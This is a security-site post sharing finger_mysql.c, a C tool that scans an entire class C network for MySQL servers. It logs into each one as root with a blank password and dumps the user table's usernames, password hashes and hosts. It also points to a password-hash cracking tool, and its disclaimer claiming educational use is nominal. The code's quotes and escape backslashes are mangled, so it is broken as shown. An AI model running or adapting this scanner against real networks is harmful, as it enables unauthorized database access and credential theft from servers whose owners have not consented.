‘MySQL Network Scanner’

Summary
Credit:

‘The information has been provided by Chris Smith.’


Details

‘The following tool will allow you to scan a complete network for the presence of an MySQL server with the default (blank) password.

Tool:
/*
Program: finger_mysql.c
Original Date: October 5, 2002
Version 1.0
Platform: Linux (Compiled on SuSE 7.3 Pro)
c0der: st0ic
Web: www.fsix.net
email: st0ic@fsix.net

Revisions:
NONE Thus Far

Compile:
st0ic~# gcc -lpthread -lmysqlclient finger_mysql.c -o finger_mysql

Description:
This is a MySQL Class C IP scanner that finds vulnerable MySQL
daemons and attempts to login under the default root account with a
NULL password. After login, this program will dump the usernames,
encrypted password hash and the hostnames in the mysql.user table.

Other information:
The original idea for this came from mysqlfuck.c by g0th. I ran across
module’s pscan.c code and decided it was elite… so I modified it to
work with this program. Those two pieces of code resulted in this piece
of code. See https://securiteam.com/securitynews/5GP0K0A81Y.html or
http://online.securityfocus.com/bid/5503 . Also, if you make too many
connects to the MySQL daemon without issuing any commands, depending on
the settings, you could be blocked. This program will make 1 bad connect
that will count against you, so be careful when using it. If you are blocked
the admin of the MySQL daemon will have to do a flush-hosts in order for you
to be able to connect again; See http://www.mysql.com/doc/en/Blocked_host.html
for more info. If your looking to test out how good the encrypted passwords are,
you can use this: https://securiteam.com/tools/5YP0H0A40O.html . If you
have problems with that, try to comment out the lines that contain this stuff:

printf(‘(%li)t[0x%02x,0x%02x,0x%02x,0x%02x,0x%02x,0x%02x,0x%02x,0x%02x,0x%0
 2x,0x%02x]t[%s]
 [%s]!=[%s]n’,attempts,hash[0],hash[1],hash[2],hash[3],hash[4],hash[5],hash[
 6],hash[7],hash[8],hash[9],temp,to,password);

That will probable get it to work without seg faulting.

Disclaimer:
Yeah, this is for educational purposes. I wrote this to test out your own MySQL
daemons and their passwords. Don’t go trying it out on other people’s
servers and try to be l33t.
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <pthread.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <mysql/mysql.h> /* might need to play with this */

#define MAXHOSTS 254
#define TIMEOUT 20 /* connection timeout in seconds */

/* mysql stuff */
#define db ‘mysql’
#define user ‘dummy’
#define pass NULL
#define query ‘SELECT user,password,host FROM user;’

/* add some color to you life */
/* —> type <— */
#define RESET 0
#define BRIGHT 1
#define DIM 2
#define UNDERLINE 3
#define BLINK 4
#define REVERSE 7
#define HIDDEN 8

/* —> text color <– */
#define BLACK 0
#define RED 1
#define GREEN 2
#define YELLOW 3
#define BLUE 4
#define MAGENTA 5
#define CYAN 6
#define WHITE 7
#define DEFAULT 8 /* not valid, so it reverts to default, hopefully. */

char hosts[MAXHOSTS][17];
int sockfd[MAXHOSTS];

struct c_info
{
  char *hostname;
  unsigned short int port;
};

void textcolor(int attr, int text, int bg);
void check_ip(char ip_tmp[]);
void parse_ip(char *ip);
void start_threads(char *ip, unsigned short int port);
void scan_host(struct c_info *);
void finger_mysql(char *hostname, unsigned short int port);

void textcolor(int attr, int text, int bg)
{ char command[13];

/* Command is the control command to the terminal */
sprintf(command, ‘%c[%d;%d;%dm’, 0x1B, attr, text + 30, bg + 40);
fprintf(stderr, ‘%s’, command); /* lets color stderr! */
}

int main(int argc, char *argv[])
{
  char *ip, ip_tmp[32];
  unsigned short int port = 3306; /* mysql default port */
  
  setvbuf(stdout, NULL, _IONBF, 0);
  textcolor(BRIGHT, RED, BLACK);
  fprintf(stderr, ‘nt[ finger_mysql.c ]’);
  fprintf(stderr, ‘nt[ by st0ic ]’);
  fprintf(stderr, ‘nt[ Fsix.Net ]’);
  textcolor(BRIGHT, BLUE, BLACK);
  fprintf(stderr, ‘nnt—> Don’t Be Scer’ed!nn’);
  textcolor(RESET, DEFAULT, DEFAULT);
  
  if (argc < 2 || argc > 3)
  {
    fprintf(stderr, ‘usage: %s <ip> [port]n’, argv[0]);
    fprintf(stderr, ‘t ipt Required. C Class IP to scan (ex. 10.219.1.).n’);
    fprintf(stderr, ‘t portt Optional. MySQL port to connect to (ex. 3306).n’);
    fprintf(stderr, ‘t Examples: %s 192.168.1. 3306n’, argv[0]);
    fprintf(stderr, ‘t %s 192.168.1. > dump.txtnn’, argv[0]);
    exit(1);
  }
  ip = argv[1];
  sprintf(ip_tmp, ‘%s’, ip);
  if (argv[2] != NULL)
    port = ((unsigned short int)atoi(argv[2]));
  bzero(&sockfd, sizeof(sockfd));
  
  check_ip (ip_tmp);
  parse_ip (ip);
  start_threads(ip, port);
  
  return 0;
}

void check_ip (char ip_tmp[])
{
  char *split_ip;
  char *split_nums[3];
  int x, c;
  char *original_ip;
  
  original_ip = ip_tmp;
  
  split_ip = strtok(ip_tmp, ‘.’);
  split_nums[0] = split_ip;
  split_ip = strtok(NULL, ‘.’);
  split_nums[1] = split_ip;
  split_ip = strtok(NULL, ‘.’);
  split_nums[2] = split_ip;
  
  for (x = 0; x < 3; x++)
  {
    c = atoi(split_nums[x]);
    if ((c > 255) || (c < 1))
    {
      fprintf(stderr, ‘nSyntax error in IP range — %s’, ip_tmp);
      fprintf(stderr, ‘ntValid ranges are 1 – 254n’);
      exit(1);
    }
  }
}

void parse_ip (char *ip)
{
  int x;
  for (x = 0; x < 254; x++)
    sprintf(hosts[x], ‘%s%d’, ip, x+1);
}

/* this is module’s original function, almost unmodified */
void start_threads (char *ip, unsigned short int port)
{
  int i = 0, s, res, fd_amnt, j = 0;
  char buff[100];
  pthread_t p_thread[MAXHOSTS];
  struct c_info scanme[MAXHOSTS];
  
  bzero(scanme, sizeof(scanme));
  
  fprintf(stderr, ‘Beginning scan of %sxn’, ip);
  fprintf(stderr, ‘when you’ve had enough of the scanning, hit ^C (CONTROL+C)n’);
  fprintf(stderr, ‘Connection TIMEOUT = %d secondsn’, TIMEOUT);
  
  fd_amnt = (getdtablesize()-1);
  fprintf(stderr, ‘Using max file descriptors: %dnn’, fd_amnt);
  
  for(i = 0; i < ((sizeof(hosts))/(sizeof(hosts[i]))); i++)
  {
    for(s=0; s < fd_amnt && i < MAXHOSTS; s++,i++)
    {
      scanme[i].port = port;
      scanme[i].hostname = hosts[i];
      res = pthread_create(&p_thread[i],NULL,(void *)&scan_host,
        (struct c_info *)&scanme[i]);
      
      if(res == EAGAIN)
      {
        printf(‘pthread_create: ran out of resources at %d iterationn’, i);
        exit(0);
      }
      usleep(1000);
    }
    
    /* wait for the deployed threads to return */
    sleep(1);
    for(s=0; s < fd_amnt && j < MAXHOSTS; s++, j++)
    {
      pthread_join(p_thread[j], NULL);
    }
  }
}
/* Another function written by module. I modified the shit outa it
in order to get it to work how I wanted it to :-). */
void scan_host (struct c_info *scanme)
{
  int *fd,i,l,c,err;
  fd_set wr;
  struct c_info *scanme_ptr;
  struct sockaddr_in sa;
  struct timeval tv;
  
  scanme_ptr = (struct c_info *) scanme;
  /* find a socket to use */
  for(i = 0;i < MAXHOSTS; i++)
  {
    if(!sockfd[i])
    {
      fd = &sockfd[i];
      break;
    }
  }
  
  if((*fd = socket(AF_INET,SOCK_STREAM,IPPROTO_IP)) == (-1))
  {
    perror(‘nsocket’);
    exit(-1);
  }
  
  bzero(&sa, sizeof(sa));
  bzero(&tv, sizeof(tv));
  
  sa.sin_port = htons(scanme_ptr->port);
  sa.sin_family = AF_INET;
  tv.tv_sec = TIMEOUT;
  tv.tv_usec = 0;
  
  if(!inet_aton(scanme_ptr->hostname,&sa.sin_addr))
  {
    fprintf(stderr,’inet_aton errorn’);
    pthread_exit(0);
  }
  
  /* start non-blocking on socket */
  if((fcntl(*fd,F_SETFL,O_NONBLOCK))==(-1))
  {
    fprintf(stderr,’fcntl errorn’);
    pthread_exit(0);
  }
  
  /* try to make an inital connection to the host */
  if((c = connect(*fd, (struct sockaddr *)&sa, sizeof(sa)))==(-1))
  {
    if(errno != EINPROGRESS)
    {
      close(*fd);
      /*printf(‘connect didnt have EINPROGRESS’); */
      pthread_exit(0);
    }
  }
  else if (c == 0)
  {
    printf(‘t[%s]tMySQLD running on port %dn’,
      scanme_ptr->hostname, scanme_ptr->port);
    pthread_exit(0);
  }
  
  l = sizeof(err);
  
  /* check the socket for writing. */
  FD_SET(*fd,&wr);
  
  if((c=select(*fd+1,NULL,&wr,NULL, &tv))==(0))
  {
    close(*fd);
    /*printf(‘select for wr on connect() timeout’);*/
    pthread_exit(0);
  }
  else if(c == (-1)) /* redundant */
  {
    close(*fd); /* for some generic select() error */
    /*printf(‘generic select error for connect() wr’);*/
    pthread_exit(0);
  }
  
  /* use getsockopt() to see if we connected successfully */
  getsockopt(*fd,SOL_SOCKET,SO_ERROR,&err,&l);
  
  /* printf(‘sockopt: %d on %sn’,err,scanme_ptr->hostname);*/
  
  /* lets see what we have to work with now */
  if(err == ECONNREFUSED)
  {
    close(*fd);
    /*printf(‘connection refused at %sn’,scanme_ptr->hostname);*/
    pthread_exit(0);
  }
  else if(err == EHOSTUNREACH)
  {
    close(*fd);
    /*printf(‘host unreachable at %s’,scanme_ptr->hostname);*/
    pthread_exit(0);
  }
  textcolor(BRIGHT, RED, BLACK);
  fprintf(stderr, ‘t[%s]tMySQLD running on port %dn’,
    scanme_ptr->hostname, scanme_ptr->port);
  textcolor(RESET, DEFAULT, DEFAULT);
  
  close(*fd);
  
  finger_mysql(scanme_ptr->hostname, scanme_ptr->port);
  
  pthread_exit(0);
}

void finger_mysql(char *hostname, unsigned short int port)
{
  MYSQL *conn;
  MYSQL_RES *result;
  MYSQL_ROW row;
  MYSQL_FIELD *field;
  unsigned int i, j, col_length;
  
  conn = mysql_init(NULL);
  if (conn == NULL)
  {
    printf(‘mysql_init() failedn’);
    pthread_exit(0);
  }
  if (mysql_real_connect(conn, hostname, user, pass,
    db, port, NULL, 0) == NULL)
  {
/*fprintf(stderr, ‘[%s] ERROR: mysql_real_connect error:ntError %u (%s)n’,
    hostname, mysql_errno(conn), mysql_error(conn));*/
    pthread_exit(0);
  }
  textcolor(BRIGHT, BLUE, BLACK);
  fprintf(stderr, ‘t—> [%s] Successful loginn’, hostname);
  textcolor(RESET, DEFAULT, DEFAULT);
  if (mysql_query(conn, query) != 0)
  {
/*fprintf(stderr, ‘[%s] ERROR: mysql_query() failed:ntError %u (%s)n’,
    hostname, mysql_errno(conn), mysql_error(conn));*/
    mysql_close(conn);
    pthread_exit(0);
  }
  if ((result = mysql_store_result(conn)) == NULL)
  {
/*fprintf(stderr, ‘[%s] ERROR: mysql_store_result() failed:ntError %u (%s)n’,
    hostname, mysql_errno(conn), mysql_error(conn));*/
    mysql_close(conn);
    pthread_exit(0);
  }
  
  printf(‘USER | PASSWORD | HOST for %s:n’, hostname);
  
  /* attempt to print pretty output… not as good as the mysql client’s though 🙁 */
  mysql_field_seek(result, 0);
  for (i = 0; i < mysql_num_fields(result); i++)
  {
    field = mysql_fetch_field(result);
    col_length = strlen(field->name);
    if (col_length < field->max_length)
      col_length = field->max_length;
    if (col_length < 4 && !IS_NOT_NULL (field->flags))
      col_length = 4; /* length of the word ‘NULL’ */
    field->max_length = col_length;
  }
  mysql_field_seek (result,0);
  fputc (‘+’, stdout); /* header stuff */
  for (i = 0;i < mysql_num_fields(result);i++)
  {
    field = mysql_fetch_field (result);
    for (j = 0;j < field->max_length + 2;j++)
      fputc (‘-‘, stdout);
    fputc (‘+’, stdout);
  }
  fputc (‘n’, stdout); /* columns/rows for data */
  while ((row = mysql_fetch_row (result))!=NULL)
  {
    mysql_field_seek (result, 0);
    fputc (‘|’, stdout);
    for (i =0; i < mysql_num_fields(result);i++)
    {
      field = mysql_fetch_field (result);
      if (row [i] == NULL)
        printf (‘ %-*s |’,field->max_length, NULL );
      else if (IS_NUM (field->type))
        printf (‘ %*s |’,field->max_length,row [i ]);
      else
        printf (‘ %-*s |’,field->max_length,row [i ]);
    }
    fputc (‘n’, stdout);
  }
  mysql_close(conn);
  free(conn);
}’

Categories: Tools